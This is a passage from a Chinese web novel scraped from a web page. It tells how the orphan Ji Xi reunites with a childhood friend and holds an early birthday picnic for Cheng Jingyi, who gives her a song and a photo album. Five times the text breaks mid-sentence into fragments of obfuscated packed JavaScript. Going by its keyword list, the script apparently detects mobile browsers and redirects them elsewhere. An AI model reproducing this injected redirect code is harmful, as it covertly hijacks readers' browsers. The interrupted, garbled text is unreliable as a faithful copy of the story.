季希思索一番，还是决定说实话：“我小时候在孤儿院有一个同伴，她被领养走后，改的名字就叫贺溪君。我想去问问是不是她。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577984|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 吴焕晗万分惊讶：“这么巧吗？不过会不会是同名呀……” 尽管如此，她还是松开拉着季希的手，放季希上前。 不过，当季希站在这女生身旁时，一时却有些不知道该怎么开口。 焕焕说得对，也许这女生只是和季画同名。 况且隔了这么久，也不知道季画还记不记得自己。 想到这里，季希心中萌生退意。 可是转念一想，季希又有些不甘。 季画怎么会不记得她呢？虽然季画是小学时候被领养走的，但在那之前，她俩可是住在同一间寝室好多年…… 托每年都给福利院捐款的程氏集团的福，福利院的条件虽然不是顶好的，但却也不算差，所以她到现在都还能一个人住着当年和季画一起住着的那间寝室。 可惜后来两人就失联了。 正在季希犹豫的时候，那女生察觉到身旁站着人，她转头瞧见季希的脸，似乎吃了一惊。 季希以为是自己吓到了对方，连忙道歉：“不好意思，我只是……”她却不知道该怎么解释自己的行为。 那女生却突然开口：“季希？” 季希愣住，转瞬间，她的脸颊染上惊喜：“你认得我？你是季画？” 那女生也露出十分欣喜的神情，不住地点头：“是我，我是季画！” 两人的情绪都比较激动，一不小心说话的分贝都有一点点高，引得周围看书的人的侧目。 她俩连忙跟周围人小声道歉。 吴焕晗见到这番相认的场面，颇为新奇。 季希为贺溪君介绍道：“这是我朋友吴焕晗。” 吴焕晗走上前道：“学姐好，我也是齐城一中的学生，我叫吴焕晗。” “你好你好，能在这里遇见齐城一中的同学，真是太巧了。”贺溪君对两人说道，“书店里毕竟不是说话的地方，要不咱们出去找个地方好好聊一聊？” 南庐市的街上开着很多茶馆，并且这些茶馆卖的茶都物美价廉。 书店附近就恰好有一家。三人进去各点一碗茶，围坐在一起聊天。 季希一边喝茶，一边不停地抬头看向坐在对面的贺溪君。 贺溪君奇怪道：“希希，怎么一直盯着我，我脸上有东西吗？” “也不是，”季希摇头道，“画画，我就是感觉你变化好大，长变了。如果不是听到焕焕说你叫贺溪君，我不一定能认得你。说起来，我现在应该叫你的新名字……” 贺溪君笑道：“没事希希，我现在小名是画画，你这么叫也没错。” 季希：“那可太好了，不然一时半会儿还有点改不过来这个称呼。” 贺溪君：“你觉得我变化大，我却感觉你没怎么变，所以我一眼就认出来你了。” “好感动，你还记得我。”季希摩挲着手里的盖碗，半晌，又道，“我刚刚其实看着你许久，却不敢叫你，既怕不是你，也怕你忘记了我，更怕你即便记得我、但却不想和过去的朋友有交集。” 贺溪君：“我先说出你的名字，这下，你没有这些顾虑了吧？” 季希：“是的！好开心！” 贺溪君摇头：“希希，你小时候傻乎乎的，我一直担心你被人卖了还倒帮人数钱。现在感觉你倒是长了点儿心眼，挺好的，我好欣慰。” 季希嘟起嘴：“哪儿有你这样的，一见面就开始数落我……” 吴焕晗哈哈大笑。 贺溪君问吴焕晗：“学妹怎么会来南庐市呢，你老家是这里的？” 吴焕晗点头：“对。” 季希猜吴焕晗不一定愿意在外面多说家里的事，便接过话题：“她是专门来找我玩的。幸亏今天有她在，不然咱俩真有可能擦肩而过，那就太可惜了……” 贺溪君笑道：“你个小糊涂鬼可能会认不出我来，但不是还有我在吗。你放心，我肯定在你要转身离开的时候叫住你，喊出你的名字。” 季希心花怒放：“画画，你在齐城一中读书，所以你这些年一直住在齐城吗？” 贺溪君：“对。” 季希疑惑：“那你来南庐是做什么，走亲戚吗？” 贺溪君：“是家里老人在这边儿。不过以前我爸妈都是把老人家接到齐城过年，但老人家今年身体不太好，不想离开南庐市，所以我们就干脆来南庐过年。” 她感慨道：“也是巧了，我其实刚来没几天，今天是第一次出门，想在市里到处转转。没想到就碰到你们了。” 时间一分一秒地流逝，三人天南海北地聊起来，从追的明星到喜欢看的书籍、再到未来的理想，颇有些相见恨晚的感觉。 最后因为贺溪君接到家里人的电话，并且吴焕晗要去赶火车，三人只好互相留下联系方式，在这家小茶馆门前惜别。 34. 万里乘风且逍遥 春节过后，正月里，距离开学还有一段日子。 上午，季希原本坐在书桌前背单词，突然她抬头看向桌面一角摆着的日历。 脑海里浮现出前段时间和程家兄妹一起跑步时的场景——有一天早上，程景心和程景逸斗嘴，曾经提到过羡慕她小哥生日恰好在过年期间，每年过生日的时候因为正好赶上过节，可以收到很多红包，一家人一起特别热闹。 当时她顺嘴问了一下程景逸的生日具体是在哪一天。 瞧着日子就在明天。 季希心想，程景逸过个生日，她最起码要送一个礼物吧。 只是，程景逸过生日肯定是和家人一起过，她这算什么，怎么把程景逸单独约出来呢？ 季希心里发愁。 以前她有什么事都是当面直接和程景逸说，或者是程景逸给她打电话。 虽然她有程景逸的电话号码，但是实际上，她还从未拨打过程景逸的电话。 她担心如果对面接听的不是程景逸本人…… 想到这里，季希下意识地摩挲着手里的英语单词书。 当初就是因为这本书，才让程景逸发现了她被绑架。 也许是心有灵犀，就在季希出神时，电话突然响起。 季希拿起话筒。 对面传出的声音让她万分惊喜：“季希，我是程景逸。” 季希笑起来：“程景逸，过年好呀。” 程景逸那边环境有些嘈杂，似乎有很多人的样子，只听他说道：“过年好，季希，你出来放烟花吗？” 季希：“你和家人一起，我就不去凑这个热闹啦。” 程景逸：“没有，我今天是和以前的初中同学一起出来玩，中午聚个餐。刚刚有人提议说下午可以去放烟花，你也一起来吧。” 季希眼睛一亮：“程景逸，你今天一直都在外面玩吗？” 程景逸：“对呀。” 季希：“那你什么时候结束呀？” 程景逸：“怎么，你有事情吗？” 他似乎找了一个安静的地方，背景的嘈杂声降低许多。 季希绕着电话线，绞尽脑汁地想到一个理由：“我发现一处还不错的风景，想带你去看看。” 程景逸好奇道：“在哪里？” 季希：“青澜江大桥你知道吗，去年才建好的。桥边新建了滨江公园，是开放式的。这几天太阳好，下午在那里晒晒太阳很舒服的。你下午或者傍晚有时间吗？” 她倒也没有骗人，前几天她还和贺溪君一起去那里玩过，感觉风景很不错，而且因为是新建的，去的人并不算特别多，不会是人山人海那种，还算清静。 程景逸的声音懒洋洋的，带着种闲适：“有时间，反正我今天本来就打算在外面晃一天。那我下午就不和他们一起去放烟花了，咱们去江边晒太阳也挺好的，刚好我有东西要给你。” 最后两人便约着下午三点钟在青澜江大桥北侧路口见面。 挂断电话，季希从椅子上兴奋地蹦起来。 真是太巧了，没想到刚好程景逸给她打电话喊她出去玩。 既然这样，下午她要给程景逸准备一个惊喜，提前为他过一个生日。 这样想着，季希立马行动起来。 她的压岁钱不多，在附近的蛋糕店看了很久，买了一块小蛋糕。 然后找到院长妈妈，报备说下午要和同学一起出去玩。 季莉雅之前听季希提起过贺溪君过年时会一直待在南庐市，她记得这两个孩子小时候很要好，这回两人好不容易重逢，多聚聚很正常，所以她也没有多问，只说让季希注意安全。 季希欢呼，从季莉雅办公室离开时，她突发奇想，又转回来问院长妈妈院里过年用的装饰品有没有剩下的。 季莉雅询问原因后，得知季希想要布置野餐地点，便带着季希到仓库挑了一些剩下来的气球、桌飘、彩带、星星灯。 季希高高兴兴地提了一大袋子回寝室。她正收拾着背包，季莉雅又给她送来一块大的一次性塑料桌布和一些小零食，说这是院里食堂多出来的，让她拿去用。 一切准备就绪后，季希中午随便吃了一点，便早早地乘坐公交车前往青澜江大桥边上的滨江公园。 过年期间人们都比较闲，此时已经有三三两两的人在江边散步，多数都是一家人一起，老老少少，好不热闹。 季希四处逛逛，最后选下一处向阳的草坪，这里视野很好，可以看见大桥和青澜江，而且离人群聚集的广场稍远。 然后她便一样样拿出桌布和装饰品，开始布置。 当时间快到三点时，季希拜托一个清洁工阿姨帮忙照看一下这里，便到约定的地方和程景逸汇合。 走到路口时，瞧见程景逸站在路标下，季希连忙跑过去打招呼：“程景逸！” 程景逸回头，露出笑容：“你来啦。” 看着少年背上的琴包，季希有些惊讶：“背上背的什么呀？” 程景逸：“是吉他。” 季希：“没听你提起过，你还会弹吉他呢。” 程景逸的笑容带着一丝神秘：“嗯，一会儿给你露一手。” 季希：“那我可太期待了，走，我们先过去。” “稍等一下。”程景逸一面说着、一面弯腰去搬东西。 季希这才注意到程景逸的脚边放着一个很大的纸箱子，不由好奇道：“这是什么？这么难拿，你怎么来的呀？” “打车来的。”程景逸，“关于里面是什么，待会儿你就知道了。” “那我和你一起抬吧。”季希伸手扶住箱子的一侧，轻轻掂一掂，笑道，“还好这箱子就是看着体积大，重量倒不算很重。” 季希指引着方向，领着程景逸来到她选的地方。 趁程景逸取下琴包、整理箱子的功夫，季希给清洁工阿姨塞了一些小零食，感谢阿姨帮她看守这里的东西。 此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577985|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳光正好，照在人的身上暖意融融。虽是在江边，风却不大。 青澜江水碧波荡漾，似一条质地上好的绸带，与大桥交相辉映，装点着南庐市的城市风貌。 “我平常在江秀区那边多一些，来庐中区这边来得少，以前还真没发现青澜江有这么美。”程景逸赞道，“尤其是这里视野开阔，把大桥和江水摆在一块儿看，真的是赏心悦目。季希，你这个地儿选的好。” “你喜欢就好。”季希笑道，“你来坐这里。” 程景逸：“哇，季希，你这布置得还挺漂亮。” 待程景逸坐好以后，季希将蛋糕拿出来，认真道：“程景逸，虽然明天才是你的生日，不过我想，你明天应该会和家人一起，所以才提前把你约出来。” “太贵重的礼物我确实送不起，不过想来你也收到过不少。思来想去，我好像没有什么可以送给你，毕竟你什么都不缺。” “好在我灵机一动，想起咱们在语文课本中学过苏轼的《赤壁赋》。你还记得吗，其中有一段是这样描述的：且夫天地之间，物各有主，苟非吾之所有，虽一毫而莫取。惟江上之清风，与山间之明月，耳得之而为声，目遇之而成色，取之无禁，用之不竭。是造物者之无尽藏也，而吾与子之所共适。” “我今日便借用此诗，将青澜江畔这幅冬日盛景图送给你。” “一愿你如月之恒，如日之升[1]。” “二愿你岁岁春无事，相逢总玉颜[2]。” “三愿你福与此江无尽，寿与此江俱远，名与此江清[3]。” 季希的话音刚落，程景逸便鼓起掌来：“你这个祝寿词想得真好，谢谢你，季希。” “翻了不少书才凑出来的这几句，都是借鉴了古人的智慧。”季希笑道，“总之，礼轻情意重，我已经尽量把各个方面都弄得高大上一些了，不过毕竟条件有限，如果有不太如你意的地方，只好请你多多担待啦。” 程景逸：“哪里有不如意，你想多了。季希，我很喜欢你送的这个礼物，无论是冬日江景还是祝寿词，我都很喜欢，谢谢。” 季希舒了一口气：“这样我就放心啦。” 程景逸：“不过我真的要感叹一下，季希，你的阅读量确实还挺大的。” “不过是被逼无奈罢了，”季希摇头叹道，“我平常除了读书学习以外，唯一的活动就是阅读课外书。” “不过你可别误会，我其实并不算是那种嗜书如命的人。只是因为条件不允许我有其他烧钱的爱好，我才选择了用阅读书籍来消磨时间。” 程景逸：“你这样就很好。” “别光说这些了，你来许个愿吧。”季希在蛋糕上插上蜡烛，用打火机将其点燃后，期待地看着程景逸。 程景逸在季希的注视下，从善如流地闭上双眼，双手合十。 过了半晌，他睁开眼睛，吹灭蜡烛。 季希好奇道：“程景逸，你许的是什么愿望？” 35. 万里乘风且逍遥 程景逸：“说出来就不灵了。” “这样啊，”季希有些失望，不过转眼她又开心起来，说道，“不管你的生日愿望是什么，我今天的愿望是希望你的愿望能够实现。” “那我就谢谢你啦。”因为整个蛋糕不算大，程景逸便把蛋糕一分为二，分别用一次性纸盘装好，将其中一块递给季希，“你尝一尝，看起来味道很不错呢。” 两个人就这样坐在草坪上吃蛋糕，四周是季希布置好的花里胡哨的装饰品，虽然只是露天里很简陋的环境，他们却都很开心。 将蛋糕瓜分干净以后，季希将垃圾收拾好。 程景逸从琴包里取出吉他：“你准备的惊喜圆满结束，我也有礼物想要送给你。” “季希，新的一年已经开始，你要一直快乐下去啊。” 程景逸抱着吉他，指尖在琴弦上划过，美妙的旋律伴着江风与暖阳，成为他为这幅冬日江景图写上的注脚。 听着陌生却好听的前奏，季希鼓掌欢呼：“好听。” 程景逸边弹边道：“一首《这世界有你存在》，献给你。” 「冬日的单车，正月的烟花」 「你说氛围浓度有点高，我说倾盖如故心花放」 「假山，凉亭，湖水，顶楼」 「因我而入局的姑娘，请让我护你走」 「幸运单词书，廊下腊梅树」 「你说你不是温室的名花雅木」 「江中立礁石，路边生野草」 「审判作恶者，锋利水果刀」 「来一个杀一个，人间绝不白走这一遭」 「舟毁人亡，人仰船翻」 「食人草喷毒液，恶鬼通通退散」 「屠龙少年，终成恶龙」 「乖张狠辣，破碎温柔」 「浴火重生，岁月黑暗」 「冲云破雾，千锤百炼」 「顽强不屈，野蛮生长」 「奋力挣扎，勇敢对抗」 「山顶日出，神秘海底」 「镜花水月的快乐，鲲鹏扶摇九万里」 「广袤自然，广阔天地，境随心转，这世界有你存在」 「星星高悬，暗夜微茫，独属于你的锚点，对世界重新拥有期待」 「人的身体不堪一击，人的意志不可战胜，人的精神无比强大，人的生命无限力量」 「何必掩饰，何必怀疑，若无来路，去寻归途，做你自己，乘风破浪」 「苦痛是人生底色，苦难是红尘常态」 「生而为人，众生皆苦，命运何怪」 「劝卿莫踏那屠龙少年不归路」 「鲸鲨自在游弋，带你寻觅人生归处」 「你说我救你，我说你渡我」 「谁是谁的因，谁是谁的果」 「生命的奇迹，暗夜戈壁的努力」 「拯救你的一直都是你自己」 「你生命的富饶，无二且独一」 「拿起你的长刀，庆幸你不是易凋零的花」 「半身跌入深渊的你勇敢向上吧」 「潇洒快意，游历天下」 「你山水一程的风雨之路，可有我相伴」 「高山流水觅知音，坦荡洒脱肝胆照」 「愿卿磊磊沧浪行，万里乘风且逍遥」 少年人的歌声洋洋盈耳，一字一句娓娓道来，让季希沉迷其中。 季希原本以为这首歌曲是某个她不知道的歌手唱的，只是听着听着，她却品出一点不对劲儿来。 歌词中使用的一些词汇以及描述的一些场景，仿佛都和她有关联。 想到某种可能，季希感到不可置信。 待程景逸唱完最后一句“愿卿磊磊沧浪行，万里乘风且逍遥”，季希鼓掌：“真的好好听，而且很适合你的嗓音。程景逸，这是谁的歌，我以前都没听过。” 程景逸露出一副高深莫测的神情：“你猜。” 季希：“这歌……难道是你自己写的？” 程景逸点头：“你听出来了？” 季希：“虽然是第一次听，却莫名觉得熟悉，所以大胆猜测一下。” 程景逸：“专门送给你的歌，你当然会有熟悉之感。” “这曲子编得好，歌词写得好，你弹得也好，唱得更好。”季希细细回味着整首歌，再次向程景逸确认道，“编曲和歌词都是你自己写的？” 程景逸：“是，前段时间突然有的灵感，出去度假刚好有空，就关在房间里熬了好久，才写出来的。” “你可真有才华。”季希的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577986|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中只剩下赞叹，只觉得她离程景逸的距离变得更加遥不可及。 似乎每当她觉得自己离程景逸更进一步时，就会有现实告诉她，她只能对他仰望。 程景逸：“什么才华，我不过是上过几节课，其实都是瞎写的，你能喜欢我就很高兴。说不定将来你学一学，能写出比这好千倍万倍的曲子呢。” 季希：“你还专门上过编曲课？” 见季希似乎很感兴趣，程景逸仔细对她解释道：“说起来我这还是沾了景心的光。当初这个编曲课程是我爸给景心报的班。我爸早些年其实不太管我们的教育，基本上全权托付给我爷爷奶奶。但是可能因为我妈很有音乐才华，我爸就特别想把景心按照我妈的模版来培养，便给她报了各种与音乐有关的培训班，其中就包括编曲。但景心不太愿意上这些课，我只好陪着她去上课。没想到一来二去，我倒是留下来正儿八经地开始学编曲，而景心也终于说动我爸把其他的课程都退了，选了她自己喜欢的舞蹈课，坚持了这些年。” “原来如此。”季希的目光扫过程景逸身后的纸箱，饶有兴趣道，“你那箱子里装的到底是什么呀？” “你想看吗？”见季希点头，程景逸打开纸箱子。 季希：“哇，这么多烟花，你把你们原本下午要放的烟花拿来了吗？” “我是回家拿的。”程景逸解释道，“过年嘛，我们家孩子多，亲戚家孩子也多，所以囤了很多小孩子喜欢的东西，当然包括烟花，所以我专门带了一些过来。” 程景逸取出各式各样的手持烟花，将其摆成一排：“看你喜欢哪一种，随便放，管够。” 两人便一个接一个的将这些手持烟花点燃。 灿烂闪烁的烟花似璀璨的星辰从二人的手中升起，在夕阳的余晖里绽放出绚丽的光彩，勾勒出让人陶醉的画面。 将烟花全部燃尽，两人并排坐在草坪上休息。 季希：“你准备的这些烟花真好玩。” 程景逸：“还有更好玩的。” 说着，他从纸箱里拿出一个包装精美的礼盒。 季希惊诧地探头看向纸箱里面：“我刚都没发现，这里面竟然还有东西呢。” “就剩这个了。”程景逸递给季希，“送给你的，打开看看。” 36. 万里乘风且逍遥 季希有些不好意思去接这礼物：“你过生日还送我礼物，这让我情何以堪……” 程景逸把礼盒放在季希身前的空地上，说道：“早送晚送，这个都是我准备好要送给你的。我本来也不知道今天你准备给我过生日，所以才把这个带来的。” 他问道：“对了季希，你是什么时候过生日，不如就把这个当成是我提前送你的生日礼物？” 季希摇头道：“我不过生日的。” 程景逸：“为什么？” 季希沉默片刻，才回答道：“因为其实我自己也不知道我真正的生日是什么时候。” 程景逸这才明白，心中暗骂自己总是问这种莽撞问题，他连忙转换话题道：“没事，管他到底是哪一天，难道没有个由头，我还不能送你礼物了吗？你拆开看一看。” 打开礼盒，里面放着的竟然是一本相册。 季希取出相册，翻开第一页，赫然就是寒假第一天时两人一起在云苍山的山顶观景台所照的合影。 旭日东升、霞光万丈的背景中，她看着镜头略显拘谨，而程景逸笑得很开心。 再往后翻，照片基本上是按照时间顺序来排列的。 清晨一大早，空无一人的街道上，她踩着路灯的光影走出福利院的大门。 登山时，天幕漆黑，一束手电筒的光从上往下照射，她累得气喘吁吁，蹲在台阶边喘气。 破晓的曙光驱散黎明前的黑暗，她坐在山顶的草坪上，出神地看向远方，那是她被日出下的壮丽山川所震撼。 季希一张一张地不停翻看浏览。 程景逸抓拍了很多时刻，有些她自己都不太有印象了，没想到竟被程景逸用相机记录下来。 “喔，这张也在……”季希不停翻动的指尖停滞在一张相片上。 程景逸凑过来，看到季希指着的这张照片，笑道：“这是当时咱们在海洋馆遇到的那个张哥年前寄给我的，我最近回家才在信箱里发现。感觉这张照片拍得还挺不错的，专门学摄影的还是和我这种业余的不一样，有水平。” 这张相片上，背景是一片蔚蓝的水域，一头巨大的鲸鲨缓缓经过。 季希仰头专注而虔诚地瞧着鲸鲨，嘴里说着什么。 一旁的程景逸却并不在意水中有什么，他只是微微侧身，静静地看着季希，似乎在倾听季希的话语。 季希轻轻抚摩着相片，说道：“我就是在这里找到的人生锚点。” “季希，你知道我把这本相册命名为什么吗？”程景逸问道。 季希摇头。 程景逸：“这本相册记录了寒假里我们一起寻找快乐的所有旅程，我称之为《快乐书》。” “就像你之前说的，这个世界上恐怕没有几个人能够每天都快快乐乐的。” “所以我希望，未来在你感到难过的时候，如果没有人能陪你去找快乐，你就可以看看这本《快乐书》。” “希望这些照片能够带你重走快乐之旅，带你找回人生锚点。” “对了，最后一页夹着的是《这世界有你存在》的歌词。我专门手写了一遍，一起送给你。” 季希合上相册，将相册紧紧抱在怀里：“谢谢。” 程景逸：“季希，年前我们在北澜公园堆雪人的时候，你说你当时并不是全然快乐。那现在呢？你现在快乐吗？” 季希：“比以前快乐很多。” “你可能是一个快乐阈值很高的人。”程景逸，“季希，这个世上有什么事情是能让你感到开心的吗？” 季希认真思考着这个问题：“其实有很多，只是这些事情都没有发生在我身上。” 程景逸：“是哪些事情？如果很多的话，怎么会一件都没发生呢？” 季希看向远处的江面，声音仿佛都被江水染上寂寥：“我想被坚定地选择。可是我一出生就被遗弃，成为孤儿，只能在福利院长大。” “我想被无条件地爱护。” “可无论是福利院的长辈还是学校的老师，她们在我面前的付出都是有条件的，她们只是在完成自己的工作，这和她们对自己亲生子女的无条件的爱护是完全不一样的。” “我必须表现得听话、乖巧、讨喜，才能获得关爱和照顾。我其实知道自己不该对她们要求很多，毕竟我们非亲非故。” “这些于她们而言只是工作，于我却关乎生命与成长。只是因为她们拥有的太多，而我有的实在太少。这不是她们的错。” “我想获得一份毫无缘由的信任，并且永远不被怀疑。” “倘若有一天千夫所指，是否有人愿意相信，天容海色，吾本澄清。” “所谓三人成虎，是否真的有人不会被人言动摇半分半刻，能够全心全意、不假思索地站在我这一边？” “可是在林晶等人对我进行霸凌以后，没有人相信我说的话是真的。即便是你，程景逸，你愿意相信我，也是有一定的缘由的，并不是毫无条件的。” “程景逸，我说这话不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577987|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是苛责你，你对我已经很好，我只是在陈述一个也许连你自己都没有意识到的事实。” “我还想被偏爱。” “就是说，即便我只是人群中最平凡的一个，依旧会有人无条件地偏向我。” “那是一种，哪怕我不懂事、不乖巧、不听话、不讨喜，却仍然可以获得的那么一份偏爱。其实就像父母对自己的孩子，永远会有的独一份的偏爱。” “这样想来，无论是无条件的爱护、毫无缘由的信任，还是无条件的偏爱，这些都可以从父母身上获得。而我恰恰是一个孤儿。” “我好像突然有点明白自己了。我以前其实也不理解自己。刚刚你问我有什么事情能让我感到开心，我才开始思考这些。” “也许，我只是希望有人可以真心真意地为我付出，这种付出没有条件，不要求我必须是一个怎样的人，不要求我必须展现怎样的特质，而只是因为，我就是我。” “我这样表述，是否会有些难以理解？用父母对子女的爱来举例，其实也并不完全准确。父母对孩子的付出，其实归根究底是源自血缘血脉，源自于孩子是父母的骨血，这其实也是一种条件。” “你说，究竟有没有一种偏爱与付出，不因为这个人是什么身份背景，不因为这个人有什么特长技能，不因为这个人的外貌皮囊，不因为这个人的秉性脾气，而完完全全就是因为这个人只是这个人？” “可是，如果剥去一个人的身份家世、特长技能、外貌皮囊、脾气秉性，还有什么是让这个人之所以成为这个人的特质呢？” “说到最后，所以每个人之所以成为自己，都是因为自己有一种不同于其他人的特质吗？” “可是，如果一个人只是芸芸众生中的普通一人，其身上没有不同于其他人的特质，难道这个人就不能称之为人吗？难道这个人就不配活在世上吗？” “这些话很绕吧，我也有些说不清了。” 季希强迫自己不要去看程景逸的脸，她不知道会在程景逸的脸上看到怎样的表情。 她低头拨弄着自己的手指，面上露出一个无声的苦笑：“程景逸，你会觉得我贪心吗？” “其实这种无条件的爱护、付出、偏爱，连我自己对别人都做不到，又如何来要求别人呢？” “但确确实实，一些对于其他人唾手可得的东西，在我这里却难于登天，我又如何快乐呢？” 闻言，程景逸沉吟片刻，郑重道：“季希，那你现在可以快乐了。” 37. 万里乘风且逍遥 季希扭头，疑惑地看向少年：“你说什么？” 程景逸：“过去的就都不提了，但是未来，在我这里，你可以获得一份毫无理由的信任，我永远不会怀疑你。” “并且，在你需要的时刻，我也会坚定地选择你。” 季希的眼睛一瞬间有些酸涩。 虽然程景逸可能只是在安慰她，但是这一刻，她真的感到很开心。 “谢谢你。”季希深吸一口气，眨眨眼睛将泪意掩去，指着江边道，“我们沿着步道走一走吧。” 程景逸点头：“好，那我们把垃圾收拾一下，都扔到那边的垃圾桶里。剩下的东西不多，都随身带着吧。” 两人一边处理垃圾，一边又闲聊几句。 走在江边步道的时候，这里离水面更近，水气氤氲，为人降下心内浮躁。 季希说道：“程景逸，其实刚刚通过向你叙述的过程，我的思路也逐渐变得清晰。我突然就发觉，我想要通过这些来获得快乐，其实也不对。” “因为这些东西全部都在向外求。” “如果一个人的快乐只能因为从外界获得什么才能产生，这又怎么能算是真正的快乐？” “如果一个人生命的意义只能因为和外界互动才能获得，这又怎么能算是真正的活着？” “难道一个人的价值必须经过他人的认可才能被证实是存在的吗？” “我讨厌这种向外求的感觉。” “如果这个世界上只剩下我一个人，难道我就不快乐了吗，难道我就没有价值了吗，难道我就不活了吗？” “不过，我怎么能打这种比喻呢？我凭什么会认为，如果世界上只剩下一个人，这个宝贵的名额会落到我的头上呢？我从来没有这样的幸运。对我而言，连这样的假设都有些不自量力。” 程景逸背着琴包，用没有提袋子的手拍拍季希的脑袋：“别说这样丧气的话，你忘了吗？生命的存在本身就具有十分重大的意义。” “这可不是丧气话，”季希摇头道，“程景逸，我其实只是想表达一种感受，这种感受一时无法说清，只能一点一点向你描述。连我自己也是刚刚看着这阔大的江面才体会到的。” “也许，我不快乐，不是因为外界的什么原因，而是因为我选择了不快乐。” “外界的这些人事物，重要，但也不重要。” “其重要在于，人要在社会中生存，人无法脱离于社会独自存活。” “其不重要则在于，我的人格由我自己塑造，不由任何外界的人事物决定，不容任何外界的人事物影响。我有自由、更有权利，决定将我自己塑造成为一个怎样的人。” “程景逸，你读过苏轼的一句诗吗？云散月明谁点缀……” 季希话音未落，程景逸接道：“天容海色本澄清。” 季希惊喜道：“对，就是这句话，天容海色本澄清。你知道这句话。” 程景逸点头：“曾经读到过。” 季希：“我对这句诗的理解是：无论天空如何浮云蔽日、海面如何狂涛骇浪，终有一天，一切都会消散。青天的容貌，碧海的颜色，本来就是澄清明净的，不需要刻意去洗刷。” “人可以不惧流言、不畏蜚语，因为人的底色，可以永不为这些外物所改变。” “天容海色，吾本澄清。我要自己决定我是怎样的人。” “塑造自我的决定权掌握在我自己的手里，而不是外界的人事物的手里。” “所以，我现在可以告诉你，我确实不是一个快乐的人。” “但我也不想去刻意追寻快乐。” “快乐不能让人增长智慧，快乐不能让人变强大。” “我不主动选择痛苦，但我也不会拒绝痛苦。” “因为与快乐相比，我更想成为一个清醒且睿智的人。” “你会做到的。”程景逸注视着季希亮晶晶的双眸，问道，“季希，你以后想做什么工作呢？或者说，你有梦想吗？” 季希：“有的。我想当老师。” 程景逸不解道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577988|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“为什么呢？我还以为你不喜欢学校，也不喜欢老师。” “其实你的感觉倒也没错，我确实不喜欢学校，也不喜欢老师。”季希承认道，“主要我的经历也很难让我对学校以及学校的老师产生正面积极的情绪。” “寒假里其实我思考了很多。你去度假之后，我每天除了学习就是思考这些。我也不知道我得出的这些体会对不对，姑且和你分享一二，你想听吗？” 程景逸点头：“当然，洗耳恭听。” 季希：“这个世界上有很多职业。其中有一些职业，做这些职业的人通常只把这当成是一份工作，人们完成这份工作只是为了挣钱。对于这些职业的从业人员而言，人们的要求往往是技术上的，并不涉及人品方面的要求。” “但是世上还存在着一些职业，对于从事这些职业的人而言，人们除了要求他们的专业水准，更需要他们在价值观、人生信条、荣誉感等精神层次的方面具有非常高的道德准则和自我要求。” “可惜的是，很多从事这样具有极高道德要求的职业的人，只是把这些职业当成一种谋生的工作。这些工作中所要求的道德，无人在意。最起码从我的经历来看，事实如此，无可辩驳。” “曾经，当我在学校遇到这些事情的时候，并没有太多人在意我。那些人如果心情好，可能会为你说那么一两句话，如果他们琐事缠身，就会任由你自生自灭。基本上所有人都会选择多一事不如少一事。一些校领导甚至认为学校的名声比学生的心理伤害更重要，他们会说：你既然能忍，就彻底忍住，干什么最后爆发出来，将这些事情摆到台面上让大家都难堪。” “在这种情况下，一个学生一旦在学校里遇到不平事，他能做的只是自己孤独地走过这段时光。能熬过去就熬过去，然后藏起心中的苦痛，面带着微笑融入这个社会。倘若熬不过去的话，多半就会在无人的灰暗角落里成为一抔黄土，也许死后连个来吊唁的人都没有。” 